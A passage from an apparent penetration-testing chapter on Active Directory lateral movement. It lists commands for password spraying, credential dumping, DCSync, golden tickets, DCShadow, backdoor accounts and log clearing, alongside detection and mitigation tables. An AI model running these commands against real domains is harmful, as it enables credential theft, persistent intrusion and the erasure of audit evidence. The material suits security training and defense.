crackmapexec smb TARGET_IP -u user -p password --sessions

# Dump SAM database
crackmapexec smb TARGET_IP -u user -p password --sam

# Dump LSA secrets
crackmapexec smb TARGET_IP -u user -p password --lsa

# WMI execution
crackmapexec wmi TARGET_IP -u user -p password -x "whoami"

# WinRM execution
crackmapexec winrm TARGET_IP -u user -p password

# RDP check
crackmapexec rdp TARGET_IP -u user -p password

# SSH
crackmapexec ssh TARGET_IP -u user -p password

# Password spray
crackmapexec smb 10.10.10.0/24 -u users.txt -p password123

# Credential file
crackmapexec smb 10.10.10.0/24 -u users.txt -p passwords.txt

# Kerberos
crackmapexec smb TARGET_IP -u user --kdcHost DC_IP --use-kcache

14.4 Useful Modules

Module Purpose
share_enum List SMB shares
user_enum Enumerate users
group_enum Enumerate groups
local_admin Check local admin access
pass_policy Get password policy
wsus Enumerate WSUS
gpp_autologin Check GPP autologin
gpp_password Check GPP passwords
spooler Check PrintNightmare
zerologon Check ZeroLogon vulnerability

14.5 Detection Indicators

Indicator Source
Multiple failed logons Security Event Log
Rapid credential testing SIEM correlation
Unusual SMB connections Network monitoring
Module execution patterns EDR

14.6 Mitigation

Control Description
Account lockout Lock accounts after failed attempts
Network segmentation Limit scan reach
Monitor failed logons Alert on brute force patterns
EDR deployment Detect tool execution

15. BloodHound Attack Path Execution

15.1 Technical Explanation

  • BloodHound maps AD attack paths using graph theory
  • Collects data via SharpHound (C#) or BloodHound Python
  • Identifies shortest paths to Domain Admin / Enterprise Admin
  • Shows ACL misconfigurations, trust relationships, and delegation
  • Essential for planning lateral movement strategy

15.2 Attack Path Flow

graph TD
    A[Initial Compromise] --> B[Run SharpHound]
    B --> C[Upload to BloodHound]
    C --> D[Find Shortest Path]
    D --> E[Execute Attack Path]
    E --> F[Reach Domain Admin]
    F --> G[DCSync / Golden Ticket]
    G --> H[Full Domain Control]

15.3 Prerequisites

  • BloodHound server (Neo4j + BloodHound UI)
  • SharpHound or BloodHound Python
  • Domain user credentials
  • Network access to collect data

15.4 Step-by-Step Commands

# Collect data
bloodhound-python -d DOMAIN -u user -p password -c All --zip

# Or using SharpHound on Windows
.\SharpHound.exe -c All -d DOMAIN.local

# Upload data to BloodHound UI at http://localhost:8080
# Find attack paths in UI
# Execute the recommended steps

15.5 Common Attack Paths

Path Description
User to Local Admin to Domain Admin Via local admin on DC
User to ACL to Domain Admin Via GenericAll / WriteDACL
User to GMSA to Domain Admin Via GMSA credential access
User to Constrained Delegation to DC Via SPN delegation
User to Unconstrained Delegation to DC Via delegation capture
User to ACL to DCSync Via forced DCSync rights

15.6 Tools Used

Tool Purpose
SharpHound C# data collector (Windows)
BloodHound Python Python data collector (cross-platform)
BloodHound UI Web-based analysis interface
Neo4j Graph database backend

15.7 Detection Indicators

Indicator Source
SharpHound execution EDR / AMSI
Large LDAP queries DC logs
BloodHound server traffic Network monitoring
ACL enumeration patterns DC audit logs

15.8 Mitigation

Control Description
Regular BloodHound audits Find and fix misconfigurations
Restrict LDAP access Limit what users can query
Fix ACL issues Remove unnecessary permissions
Admin isolation Prevent admin accounts on workstations

16. Privilege Escalation Through Lateral Movement

16.1 Overview

graph LR
    A[Regular User] -->|Local Priv Esc| B[Local Admin]
    B -->|Credential Harvest| C[Domain User]
    C -->|ACL / Delegation| D[Domain Admin]
    D -->|Trust / DCSync| E[Enterprise Admin]
    E -->|Forest-wide| F[Full Control]

16.2 From User to Local Admin

Technique Description
Local privilege escalation Exploit vulnerabilities (CVEs)
Unquoted service paths Misconfigured services
Weak file permissions Writable service binaries
AlwaysInstallElevated MSI installation abuse
Token impersonation Steal admin tokens
Credential harvesting Extract admin creds from memory
crackmapexec smb TARGET_IP -u user -p password --local-auth
Import-Module .\PowerUp.ps1
Invoke-AllChecks
./linpeas.sh

16.3 From Local Admin to Domain Admin

Technique Description
DC local admin If local admin on DC = Domain Admin
Domain admin session Harvest DA credentials from memory
ACL manipulation Modify DA account ACLs
Delegation abuse Exploit constrained/unconstrained delegation
GMSA abuse Access GMSA credentials
Shadow Credentials Abuse msDS-KeyCredentialLink
crackmapexec smb DC_IP -u user -p password --local-auth
secretsdump.py DOMAIN/user:password@DC_IP -just-dc

16.4 From Domain Admin to Enterprise Admin

Technique Description
Domain trust Abuse inter-domain trust relationships
Resource SID Abuse Resource SID attribute
AdminSDHolder Modify AdminSDHolder ACLs
Cross-domain DCSync Sync from child to parent domain
secretsdump.py CHILD_DOMAIN/user:password@PARENT_DC_IP -just-dc

17. Post-Exploitation in AD

17.1 Domain Persistence

Technique Description
Golden Ticket Forged TGT for long-term access
DCSync rights Grant DCSync to backdoor account
ACL manipulation Modify permissions for persistence
Kerberoasting backdoor Add service with weak password
Shadow Credentials Add key credential links

17.2 Golden Sleeper

  • Create a golden ticket with a far-future start time
  • Ticket is dormant until the start time
  • Provides undetectable long-term persistence
  • DC cannot detect it (valid Kerberos ticket)
mimikatz # kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-XXX /krbtgt:NTLMHASH /id:500 /startoffset:525600 /endin:600 /ptt
# /startoffset:525600 = 1 year from now

17.3 DCShadow

  • Register a rogue Domain Controller
  • Push malicious changes to the domain
  • Modify user attributes, ACLs, or passwords
  • Unregister the rogue DC to cover tracks
mimikatz # lsadump::dc /shadow
mimikatz # lsadump::dcsync /user:DOMAIN\KRBTGT /shadow

17.4 ACL Manipulation for Persistence

impacket-addcomputer DOMAIN/user:password@DC_IP -computer-name BACKDOOR -computer-pass Password123
# Grant DCSync rights to backdoor account

18. Domain Controller Compromise

18.1 Why Compromise the DC?

  • DC holds all domain credentials (NTDS.dit)
  • DC is the authority for Kerberos authentication
  • Local admin on DC = Domain Admin equivalent
  • DC has DCSync rights by default

18.2 DC Compromise Methods

Method Description
Local admin on DC Direct access via credentials
DCSync Extract all hashes remotely
NTDS.dit extraction Dump the AD database directly
Golden Ticket Forge tickets with KRBTGT hash
DCShadow Push changes as a rogue DC

18.3 NTDS.dit Extraction

# Using secretsdump (DCSync method - preferred)
secretsdump.py DOMAIN/admin:password@DC_IP

# Using VSS (Volume Shadow Copy)
vshadow.exe -nw -p c:\shadow\ C:
copy \\?\c:\shadow\{GUID}\Windows\NTDS\NTDS.dit C:\temp\
reg save HKLM\SYSTEM C:\temp\SYSTEM
secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL

19. Final Domain Domination Strategies

19.1 Domination Path

graph TD
    A[Initial Access] --> B[Recon and Enum]
    B --> C{Credentials?}
    C -->|Yes| D[Lateral Movement]
    C -->|No| E[Harvest Creds]
    E --> D
    D --> F{Domain Admin?}
    F -->|Yes| G[DCSync / Golden Ticket]
    F -->|No| H[Escalate Privileges]
    H --> D
    G --> I[Full Domain Control]
    I --> J[Persistence]
    J --> K[Cover Tracks]

19.2 Domination Checklist

Step Action Tool
1 Initial foothold Exploit / phishing
2 Credential harvesting Mimikatz / secretsdump
3 Network mapping Nmap / CrackMapExec
4 BloodHound analysis SharpHound / BloodHound
5 Execute attack path Impacket / Mimikatz
6 Reach Domain Admin DCSync / ACL abuse
7 Extract KRBTGT secretsdump -just-dc-user KRBTGT
8 Golden ticket kerberos::golden
9 Full domain control PsExec / RDP to all hosts
10 Persistence Golden sleeper / ACL backdoor

19.3 Covering Tracks

Action Command
Clear event logs wevtutil cl Security
Clear PowerShell logs Remove transcript files
Remove created accounts net user BACKDOOR /delete
Remove scheduled tasks schtasks /delete /tn TASKNAME
Clear prefetch Delete C:\Windows\Prefetch*.pf
Clear shell bags Use tool like Gumshoe

20. Tools Mastery

20.1 Impacket Full Suite

Tool Purpose Key Flags
psexec.py Remote execution via SMB -hashes, -k
wmiexec.py Remote execution via WMI -hashes, -k
smbexec.py Remote execution via SMB -hashes, -k
dcomexec.py Remote execution via DCOM -hashes, -k
secretsdump.py Extract credentials -just-dc, -just-user
getTGT.py Request TGT -hashes
ntlmrelayx.py NTLM relay attacks -t, -c
smbclient.py SMB file operations N/A
lookupsid.py SID enumeration N/A
samrdump.py SAM database dump N/A
lsadump.py LSA secrets dump N/A
karmaSMB.py SMB karma server N/A
services.py Remote service management N/A

20.2 CrackMapExec / NetExec

Protocol Command Description
SMB nxc smb TARGET -u user -p pass SMB enumeration and execution
WMI nxc wmi TARGET -u user -p pass WMI execution
WinRM nxc winrm TARGET -u user -p pass WinRM execution
RDP nxc rdp TARGET -u user -p pass RDP check
SSH nxc ssh TARGET -u user -p pass SSH enumeration
LDAP nxc ldap TARGET -u user -p pass LDAP enumeration
MSSQL nxc mssql TARGET -u user -p pass MSSQL enumeration

20.3 Mimikatz

Module Purpose Example
sekurlsa::logonpasswords Extract credentials from memory sekurlsa::logonpasswords
sekurlsa::pth Pass-the-Hash sekurlsa::pth /user:ADMIN /domain:DOM /ntlm:HASH
kerberos::list List Kerberos tickets kerberos::list
kerberos::ptt Pass-the-Ticket kerberos::ptt ticket.kirchil
kerberos::golden Golden/Silver ticket kerberos::golden /user:ADMIN /domain:DOM.local /sid:SID /krbtgt:HASH
lsadump::dcsync DCSync attack lsadump::dcsync /user:DOM\KRBTGT
lsadump::domain Domain info lsadump::domain /domain:DOM
token::elevate Token elevation token::elevate
token::list List tokens token::list
privilege::debug Debug privilege privilege::debug

20.4 Rubeus

Command Purpose
rubeus triage List current Kerberos tickets
rubeus dump Dump all tickets
rubeus asktgt Request TGT (with hash/password)
rubeus asktgs Request TGS ticket
rubeus s4u S4U2Self/S4U2Proxy attacks
rubeus kerberoast Kerberoasting attack
rubeus renew Renew a ticket
rubeus ptt Pass-the-Ticket
rubeus reset Reset user password
rubeus shadowauto Shadow Credentials attack

20.5 BloodHound Execution

Step Command
Collect data (Python) bloodhound-python -d DOMAIN -u user -p pass -c All –zip
Collect data (C#) SharpHound.exe -c All -d DOMAIN.local
Start server bloodhound –no-sandbox
Upload data Via web UI at localhost:8080
Find paths Use Find Attack Paths in UI
Cypher queries Custom queries in Cypher tab

20.6 Metasploit AD Modules

Module Purpose
admin/psexec/psexec PsExec execution
exploit/windows/smb/ms17_010_eternalblue EternalBlue exploit
post/windows/gather/credentials/mimikatz Mimikatz integration
post/windows/gather/enum_ad_computers Enumerate AD computers
post/windows/gather/enum_ad_users Enumerate AD users
post/windows/gather/enum_ad_groups Enumerate AD groups
exploit/windows/smb/psexec_service PsExec service exploit
post/windows/manage/enable_rdp Enable RDP on target
post/windows/manage/ps_remoting PowerShell remoting
exploit/windows/smb/ms08_067_netapi MS08-067 exploit

Appendix A: Quick Reference — Lateral Movement Decision Tree

graph TD
    START[Have Credentials?] -->|No| HARVEST[Harvest: Mimikatz/Responder/secretsdump]
    HARVEST --> START
    START -->|Yes| HASH{Have Hash or Password?}
    HASH -->|Password| PASS[Use Password: psexec/wmiexec/evil-winrm]
    HASH -->|Hash| PTH[Pass-the-Hash: psexec -hashes]
    PASS --> CHECK{Admin on Target?}
    PTH --> CHECK
    CHECK -->|Yes| EXEC[Execute: cmd/powershell]
    CHECK -->|No| ESC[Escalate: PowerUp/Token Manipulation]
    ESC --> CHECK
    EXEC --> NEXT{Need Domain Admin?}
    NEXT -->|Yes| DA[DCSync / ACL Abuse / Delegation]
    NEXT -->|No| PIVOT[Pivot to Next Host]
    DA --> DONE[Domain Admin Achieved]
    PIVOT --> START

Appendix B: Common Event IDs for Detection

Event ID Description Relevance
4624 Logon success All auth methods
4625 Logon failure Brute force detection
4648 Explicit credential logon PsExec, runas
4672 Admin privileges assigned Privilege escalation
4768 KDC TGT request Kerberos attacks
4769 KDC TGS request Kerberos attacks
4771 Pre-auth failure Kerberoasting
4662 Object access DCSync detection
7045 Service installed PsExec detection
4698 Scheduled task created Persistence
5140/5145 Share access SMB enumeration
4663 File/object access File exfiltration
4104 PowerShell script block PowerShell attacks
4688 Process creation Execution detection

Appendix C: Logon Types

Type Description
2 Interactive logon
3 Network logon (SMB, NTLM)
4 Batch logon
5 Service logon
7 Unlock workstation
8 NetworkCleartext
9 New credentials (runas)
10 Remote interactive (RDP, WinRM)
11 Cached interactive

End of Chapter — Lateral Movement in Active Directory